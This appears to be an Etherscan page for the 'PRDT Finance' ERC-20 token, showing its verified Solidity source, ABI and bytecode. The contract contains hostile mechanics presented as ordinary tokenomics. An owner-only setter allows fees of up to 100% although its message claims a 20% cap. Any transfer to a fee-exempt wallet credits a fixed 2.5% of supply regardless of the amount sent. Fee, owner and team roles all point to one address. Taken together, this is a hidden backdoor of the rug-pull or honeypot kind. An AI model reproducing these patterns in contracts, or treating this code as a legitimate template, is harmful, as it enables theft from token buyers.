ETH Price: $3,397.86 (+6.27%)
Gas: 26 Gwei

Token

PRDT Finance (PRDT)
 

Overview

Max Total Supply

1,000,000,000 PRDT

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,817,662.621894685 PRDT

Value
$0.00
0x03fc03193f1141795c391cca59aad9b7c6e0e0f9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PRDT

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-24
*/

// SPDX-License-Identifier: MIT

/*
The first cross-chain binary option & prediction platform in DeFi

Website: https://www.prdt.org
Telegram: https://t.me/prdt_erc
Twitter: https://twitter.com/prdt_erc
*/

pragma solidity 0.8.21;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {owner = address(0); emit OwnershipTransferred(address(0));}
    event OwnershipTransferred(address owner);
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract PRDT is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "PRDT Finance";
    string private constant _symbol = "PRDT ";

    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10 ** _decimals;

    uint256 private burnFee = 0;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private maxSwapFee = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenToSwap = ( _totalSupply * 10 ) / 100000;
    uint256 public mTransaction = ( _totalSupply * 250 ) / 10000;
    uint256 public maxSellSize = ( _totalSupply * 250 ) / 10000;
    uint256 public maxWalletSize = ( _totalSupply * 250 ) / 10000;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExcept;

    IDexRouter router;
    address public pair;
    uint256 swapAfter;
    bool private swapping;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    uint256 private buyFee = 1500;
    uint256 private sellFee = 2500;
    uint256 private transferFee = 1500;
    uint256 private denominator = 10000;
    bool private tradeEnabled = false;
    bool private swapEnabled = true;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal devAddr=0xC7768dD991d3C18fc030D670E2D5e8De3C95D73A; 
    address internal marketingAddr=0xC7768dD991d3C18fc030D670E2D5e8De3C95D73A;
    address internal teamWallet=0xC7768dD991d3C18fc030D670E2D5e8De3C95D73A;
    uint256 private numFeeSwaps;

    constructor() Ownable(msg.sender) {
        IDexRouter _router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IDexFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExcept[teamWallet] = true;
        isFeeExcept[marketingAddr] = true;
        isFeeExcept[devAddr] = true;
        isFeeExcept[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function getOwner() external view override returns (address) { return owner; }
    function startTrading() external onlyOwner {tradeEnabled = true;}    
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    
    function getFeeByTxType(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return buyFee;}
        return transferFee;
    }
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isFeeExcept[recipient]) {return mTransaction;}
        if(getFeeByTxType(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getFeeByTxType(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getFeeByTxType(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExcept[sender] && !isFeeExcept[recipient]){require(tradeEnabled, "tradeEnabled");}
        if(!isFeeExcept[sender] && !isFeeExcept[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= maxWalletSize, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= maxSellSize || isFeeExcept[sender] || isFeeExcept[recipient], "TX Limit Exceeded");}
        require(amount <= mTransaction || isFeeExcept[sender] || isFeeExcept[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExcept[sender]){numFeeSwaps += uint256(1);}
        if(shouldSwapCATokensForFee(sender, recipient, amount)){swapLiquidifyBurn(maxSwapFee); numFeeSwaps = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isFeeExcept[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; buyFee = _total; sellFee = _sell; transferFee = _trans;
        require(buyFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "buyFee and sellFee cannot be more than 20%");
    }

    function shouldSwapCATokensForFee(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenToSwap;
        bool aboveThreshold = balanceOf(address(this)) >= maxSwapFee;
        return !swapping && swapEnabled && tradeEnabled && aboveMin && !isFeeExcept[sender] && recipient == pair && numFeeSwaps >= swapAfter && aboveThreshold;
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            teamWallet,
            block.timestamp);
    }
    function swapLiquidifyBurn(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensToiETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketingAddr).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(devAddr).transfer(contractBalance);}
    }

    function swapTokensToiETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    receive() external payable {}

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        mTransaction = newTx; maxSellSize = newTransfer; maxWalletSize = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004bf565b6200002290633b9aca00620004d6565b6001555f6002555f6003555f6004556064600555620186a06001546103e86200004c9190620004d6565b620000589190620004f0565b600655620186a0600154600a620000709190620004d6565b6200007c9190620004f0565b60075561271060015460fa620000939190620004d6565b6200009f9190620004f0565b60085561271060015460fa620000b69190620004d6565b620000c29190620004f0565b60095561271060015460fa620000d99190620004d6565b620000e59190620004f0565b600a556105dc60128190556109c4601355601455612710601555601680546001600160b01b03191675c7768dd991d3c18fc030d670e2d5e8de3c95d73a01001790556017805473c7768dd991d3c18fc030d670e2d5e8de3c95d73a6001600160a01b0319918216811790925560188054909116909117905534801562000169575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001ce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f4919062000510565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000240573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000266919062000510565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002b1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d7919062000510565b600e80546001600160a01b038581166001600160a01b031992831617909255600f8054848416921691909117905560185481165f908152600d60209081526040808320805460ff19908116600190811790925560175486168552828520805482168317905560165462010000900490951684528184208054861682179055338085528285208054909616821790955554600b83528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000538565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040457815f1904821115620003e857620003e8620003b0565b80851615620003f657918102915b93841c9390800290620003c9565b509250929050565b5f826200041c57506001620004b9565b816200042a57505f620004b9565b81600181146200044357600281146200044e576200046e565b6001915050620004b9565b60ff841115620004625762000462620003b0565b50506001821b620004b9565b5060208310610133831016604e8410600b841016171562000493575081810a620004b9565b6200049f8383620003c4565b805f1904821115620004b557620004b5620003b0565b0290505b92915050565b5f620004cf60ff8416836200040c565b9392505050565b8082028115828204841417620004b957620004b9620003b0565b5f826200050b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000521575f80fd5b81516001600160a01b0381168114620004cf575f80fd5b61181b80620005465f395ff3fe608060405260043610610129575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b3114610364578063a9059cbb14610383578063cb7f97d7146103a2578063d39e216c146103c1578063dd62ed3e146103d6578063f2fde38b1461041a575f80fd5b8063715018a6146102bf578063893d20e8146102d35780638f3fa8601461030357806395d89b41146103185780639cc3535114610345575f80fd5b80632f54bf6e116100ee5780632f54bf6e14610200578063313ce5671461022d5780634f3ff099146102485780636642f3ad1461025d57806370a082311461028b575f80fd5b806306fdde0314610134578063095ea7b31461017a57806318160ddd146101a957806323b872dd146101cb578063293230b8146101ea575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600c81526b505244542046696e616e636560a01b60208201525b60405161017191906114d8565b60405180910390f35b348015610185575f80fd5b5061019961019436600461153a565b610439565b6040519015158152602001610171565b3480156101b4575f80fd5b506101bd61044f565b604051908152602001610171565b3480156101d6575f80fd5b506101996101e5366004611564565b6104bf565b3480156101f5575f80fd5b506101fe610527565b005b34801561020b575f80fd5b5061019961021a3660046115a2565b5f546001600160a01b0391821691161490565b348015610238575f80fd5b5060405160098152602001610171565b348015610253575f80fd5b506101bd60085481565b348015610268575f80fd5b506101996102773660046115a2565b600d6020525f908152604090205460ff1681565b348015610296575f80fd5b506101bd6102a53660046115a2565b6001600160a01b03165f908152600b602052604090205490565b3480156102ca575f80fd5b506101fe610568565b3480156102de575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610171565b34801561030e575f80fd5b506101bd600a5481565b348015610323575f80fd5b5060408051808201909152600581526402829222a160dd1b6020820152610164565b348015610350575f80fd5b506101fe61035f3660046115bd565b6105d5565b34801561036f575f80fd5b50600f546102eb906001600160a01b031681565b34801561038e575f80fd5b5061019961039d36600461153a565b610711565b3480156103ad575f80fd5b506101fe6103bc3660046115e6565b61071d565b3480156103cc575f80fd5b506101bd60095481565b3480156103e1575f80fd5b506101bd6103f036600461162d565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b348015610425575f80fd5b506101fe6104343660046115a2565b610811565b5f61044533848461088d565b5060015b92915050565b600b6020527fdf7de25b7f1fd6d0b5205f0e18f1f35bd7b8d84cce336588d184533ce43a6f765461dead5f9081527f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac34155460015491926104ba9290916104b491906109b0565b906109b0565b905090565b5f6104cb8484846109bb565b61051c8433610517856040518060600160405280602881526020016117be602891396001600160a01b038a165f908152600c602090815260408083203384529091529020549190610ef3565b61088d565b5060015b9392505050565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161055090611664565b60405180910390fd5b6016805460ff19166001179055565b5f546001600160a01b031633146105915760405162461bcd60e51b815260040161055090611664565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105fe5760405162461bcd60e51b815260040161055090611664565b5f61062061271061061a86600154610f1e90919063ffffffff16565b90610f29565b90505f61063e61271061061a86600154610f1e90919063ffffffff16565b90505f61065c61271061061a86600154610f1e90919063ffffffff16565b60088490556009839055600a81905590505f6106876103e861061a600561068161044f565b90610f1e565b90508084101580156106995750808310155b80156106a55750808210155b6107085760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610550565b50505050505050565b5f6104453384846109bb565b5f546001600160a01b031633146107465760405162461bcd60e51b815260040161055090611664565b6003879055600486905560028590556005849055601283905560138290556014819055601554610777906001610f29565b601254111580156107975750601554610791906001610f29565b60135411155b80156107b257506015546107ac906001610f29565b60145411155b6107085760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610550565b5f546001600160a01b0316331461083a5760405162461bcd60e51b815260040161055090611664565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610550565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610550565b6001600160a01b038381165f818152600c602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6105208284611698565b6001600160a01b038316610a1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610550565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610550565b6001600160a01b0383165f908152600b6020526040902054811115610b025760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610550565b6001600160a01b0383165f908152600d602052604090205460ff16158015610b4257506001600160a01b0382165f908152600d602052604090205460ff16155b15610b885760165460ff16610b885760405162461bcd60e51b815260206004820152600c60248201526b1d1c985919515b98589b195960a21b6044820152606401610550565b6001600160a01b0383165f908152600d602052604090205460ff16158015610bc857506001600160a01b0382165f908152600d602052604090205460ff16155b8015610be25750600f546001600160a01b03838116911614155b8015610bf957506001600160a01b03821661dead14155b15610c7157600a546001600160a01b0383165f908152600b6020526040902054610c239083610f34565b1115610c715760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610550565b600f546001600160a01b03848116911614610d105760095481111580610cae57506001600160a01b0383165f908152600d602052604090205460ff165b80610cd057506001600160a01b0382165f908152600d602052604090205460ff165b610d105760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b60085481111580610d3857506001600160a01b0383165f908152600d602052604090205460ff165b80610d5a57506001600160a01b0382165f908152600d602052604090205460ff165b610d9a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610550565b600f546001600160a01b038381169116148015610dcf57506001600160a01b0383165f908152600d602052604090205460ff16155b15610dec57600160195f828254610de691906116ab565b90915550505b610df7838383610f3f565b15610e0c57610e07600654610fee565b5f6019555b6001600160a01b0383165f908152600b6020526040902054610e2e90826109b0565b6001600160a01b0384165f908152600b6020908152604080832093909355600d90529081205460ff1615610e625781610e6d565b610e6d848484611163565b6001600160a01b0384165f908152600b6020526040902054909150610e929082610f34565b6001600160a01b038085165f818152600b602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee59085815260200190565b60405180910390a350505050565b5f8184841115610f165760405162461bcd60e51b815260040161055091906114d8565b505050900390565b5f61052082846116be565b5f61052082846116d5565b5f61052082846116ab565b600754600654305f908152600b602052604081205460115491938510159211159060ff16158015610f775750601654610100900460ff165b8015610f85575060165460ff165b8015610f8e5750815b8015610fb257506001600160a01b0386165f908152600d602052604090205460ff16155b8015610fcb5750600f546001600160a01b038681169116145b8015610fdb575060105460195410155b8015610fe45750805b9695505050505050565b6011805460ff191660019081179091556005546004546003545f9361102793600293610681939192611021928391610f34565b90610f34565b90505f6110438261061a60035486610f1e90919063ffffffff16565b90505f61105084836109b0565b90504761105c8261128d565b5f61106747836109b0565b90505f611089611082600354886109b090919063ffffffff16565b8390610f29565b90505f6110a160035483610f1e90919063ffffffff16565b905080156110b3576110b386826113dd565b6004545f906110c790610681856002610f1e565b90508015611108576017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611106573d5f803e3d5ffd5b505b47801561114d57601654604051620100009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561114b573d5f803e3d5ffd5b505b50506011805460ff191690555050505050505050565b6001600160a01b0382165f908152600d602052604081205460ff161561118c5750600854610520565b5f611197858561148e565b1115611286575f6111b96111ab868661148e565b601554610681908690610f29565b305f908152600b60205260409020549091506111d59082610f34565b305f818152600b6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112259085815260200190565b60405180910390a35f6002541180156112485750600254611246868661148e565b115b15611274576112743061dead61126f60025461068160155489610f2990919063ffffffff16565b6109bb565b61127e83826109b0565b915050610520565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112c0576112c06116f4565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611317573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133b9190611708565b8160018151811061134e5761134e6116f4565b6001600160a01b039283166020918202929092010152600e54611374913091168461088d565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ac9085905f90869030904290600401611723565b5f604051808303815f87803b1580156113c3575f80fd5b505af11580156113d5573d5f803e3d5ffd5b505050505050565b600e546113f59030906001600160a01b03168461088d565b600e5460185460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611462573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114879190611792565b5050505050565b600f545f906001600160a01b03908116908316036114af5750601354610449565b600f546001600160a01b03908116908416036114ce5750601254610449565b5060145492915050565b5f6020808352835180828501525f5b81811015611503578581018301518582016040015282016114e7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611537575f80fd5b50565b5f806040838503121561154b575f80fd5b823561155681611523565b946020939093013593505050565b5f805f60608486031215611576575f80fd5b833561158181611523565b9250602084013561159181611523565b929592945050506040919091013590565b5f602082840312156115b2575f80fd5b813561052081611523565b5f805f606084860312156115cf575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a0312156115fc575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561163e575f80fd5b823561164981611523565b9150602083013561165981611523565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044957610449611684565b8082018082111561044957610449611684565b808202811582820484141761044957610449611684565b5f826116ef57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611718575f80fd5b815161052081611523565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117715784516001600160a01b03168352938301939183019160010161174c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117a4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036e4bfef9576fa1ad82a234b11ed2743d08185d69f8a1016783fcaee0be9189a64736f6c63430008150033

Deployed Bytecode

